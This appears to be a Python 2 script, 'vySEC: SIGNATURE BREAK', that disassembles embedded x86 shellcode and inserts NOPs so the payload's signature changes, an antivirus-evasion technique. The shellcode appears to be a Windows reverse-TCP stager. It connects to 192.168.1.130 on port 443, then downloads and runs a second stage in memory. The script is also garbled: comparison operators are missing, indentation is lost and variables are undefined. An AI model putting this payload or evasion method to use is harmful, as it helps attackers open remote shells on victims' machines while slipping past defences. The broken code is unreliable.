import binascii,sys, struct
CODE = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
CODE += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
CODE += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
CODE += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
CODE += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
CODE += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
CODE += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
CODE += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
CODE += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
CODE += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
CODE += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
CODE += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
CODE += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
CODE += "\xff\xd5\x6a\x05\x68\xc0\xa8\x01\x82\x68\x02\x00\x01"
CODE += "\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
CODE += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
CODE += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
CODE += "\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
CODE += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a"
CODE += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
CODE += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
CODE += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40"
CODE += "\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57"
CODE += "\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9"
CODE += "\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0"
CODE += "\xb5\xa2\x56\x6a\x00\x53\xff\xd5"
print "==========================\r\n"
print "[+] vySEC: SIGNATURE BREAK\r\n"
print ("[+] USAGE: %s <VALUE1> <VALUE2>" % sys.argv[0])
print "[+] <VALUE1>: Number of NOPs to add between normal operations as well as calls"
print "[+] <VALUE2>: Number of NOPs to add when a short jump or loop is found"
md = Cs(CS_ARCH_X86, CS_MODE_32)
print "==========================\r\n"
for i in md.disasm(CODE, 0x0):
string += binascii.hexlify(i.bytes)
quick = (binascii.hexlify(i.bytes))
reflist.append((i.address, i.address+nops))
oldop.append((i.address,quick,i.op_str,i.address+nops))
if quick[0] "7" or (quick[0:2] "e3") or (quick[0:2] "e9") or (quick[0:2] "eb"): #finds jumps
string += "90"*int(sys.argv[2])
#oldop.append((i.address,quick,i.op_str,i.address+nops))
if (quick[0:2] "e2") or (quick[0:2] "e0") or (quick[0:2] "e1"): #finds loops
string += "90"*int(sys.argv[2])
#oldop.append((i.address,quick,i.op_str,i.address+nops))
if (quick[0:2] "e8"): #find calls
string += "90" * int(sys.argv[1])
#oldop.append((i.address,quick,i.op_str,i.address+nops))
string += "90"*int(sys.argv[1])
print "[+] OP TYPE\tOLD\t\tNEW\t\tBYTES\t\tOLD\t\tNEW"
print "=================================================================================="
if (hex(i[0]).split("L")[0]) op[2]:
#print "%s\t->\t%s" % (hex(i[0]).split("L")[0], hex(i[1]).split("L")[0])
if op[1][0] "7" or (op[1][0:2] "e3") or (op[1][0:2] "e9") or (op[1][0:2] "eb"): #finds jumps
print "* FOUND JUMP:\t0x%x\t->\t0x%x\t\t%s\t%s\t->\t%s" % (op[0], op[3], op[1], op[2], hex(i[1]).split("L")[0])
print "* FOUND JUMP:\t0x%x\t->\t0x%x\t\t%s\t\t%s\t->\t%s" % (op[0], op[3], op[1], op[2], hex(i[1]).split("L")[0])
if (op[1][0:2] "e2") or (op[1][0:2] "e0") or (op[1][0:2] "e1"): #finds loops
print "* FOUND LOOP:\t0x%x\t->\t0x%x\t\t%s\t\t%s\t->\t%s" % (op[0], op[3], op[1], op[2], hex(i[1]).split("L")[0])
if (op[1][0:2] "e8"): #find calls
print "* FOUND CALL:\t0x%x\t->\t0x%x\t\t%s\t%s\t->\t%s" % (op[0], op[3], op[1], op[2], hex(i[1]).split("L")[0])
for i in md.disasm(string, 0x0):
print "* Relative location operations: %s" % int(relfound)
print "* NOPs Added: %s" % int(nops)
print "* Number of operations: %s" % int(newlen)
print "* Final Shell code length: %s" % int(len(string)/2)
for i in md.disasm(binascii.unhexlify(string), 0x0):
print "0x%x:\t%s\t%s" % (i.address, i.mnemonic, i.op_str)
# print "%s -> %s" % (int(i[0]), int(i[1]))